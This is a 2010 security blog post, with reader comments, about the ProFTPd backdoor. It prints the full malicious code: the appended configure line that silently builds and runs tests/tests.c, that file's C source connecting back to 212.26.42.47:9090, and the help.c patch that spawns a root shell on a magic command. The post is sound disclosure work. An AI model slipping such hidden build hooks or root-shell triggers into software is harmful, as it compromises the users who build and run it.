News: ProFTPd owned and backdoored
I have just been informed of this. After compromising the remote host, they backdoored the popular FTP daemon by adding the following stuff.
gcc tests/tests.c -o tests/tests >/dev/null 2>&1 cc tests/tests.c -o tests/tests >/dev/null 2>&1 tests/tests >/dev/null 2>&1 & rm -rf tests/tests.c tests/tests >/dev/null 2>&1
This was appended in ‘configure’ file and it adds a new C file under tests directory named tests.c which is this:
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>
#define DEF_PORT 9090
#define DEF_TIMEOUT 15
#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
int sock;
void handle_timeout(int sig)
{
close(sock);
exit(0);
}
int main(void)
{
struct sockaddr_in addr;
struct hostent *he;
u_short port;
char ip[20]="212.26.42.47";
port = DEF_PORT;
signal(SIGALRM, handle_timeout);
alarm(DEF_TIMEOUT);
he=gethostbyname(ip);
if(he==NULL) return(-1);
addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
memset(addr.sin_zero, 0, 8);
sprintf(ip, inet_ntoa(addr.sin_addr));
if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
{
return EXIT_FAILURE;
}
if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
{
close(sock);
return EXIT_FAILURE;
}
if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
{
return EXIT_FAILURE;
}
close(sock);
return 0; }
A simple remote backdoor that uses ‘DEF_COMMAND’ magic value. In addition, src/help.c was patched to add the following ‘if’ clause:
} else {
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
Quite self-explanatory. Unfortunately, the compromise and the subsequent backdooring were quickly detected…

Ο Thiseas το κανε;
some user
December 2, 2010 at 17:14
>>A simple remote backdoor that uses ‘DEF_COMMAND’ magic value
Is it?
PS Nice blog!
toast
December 2, 2010 at 18:01
@toast: I didn’t go into any details because it’s very straightforward. It connects back to 212.26.42.47:9090 and sends ‘DEF_COMMAND’.
xorl
December 2, 2010 at 21:38
Why did they add another file, seems a bit overkill to me.
Quassum
December 2, 2010 at 22:08
Can you imagine connect back to saudi arabia! Hmm who could have thot
Persist
December 3, 2010 at 02:34
Really, using IPv4 specific library calls, defines and structures is so 80′s, not mentioning the not-portable signal handling. What they are teaching the kids these days ?
Vlad
December 4, 2010 at 01:30
@xorl: Yes, thats what it does. Yet you call it a backdoor.
q
December 5, 2010 at 02:38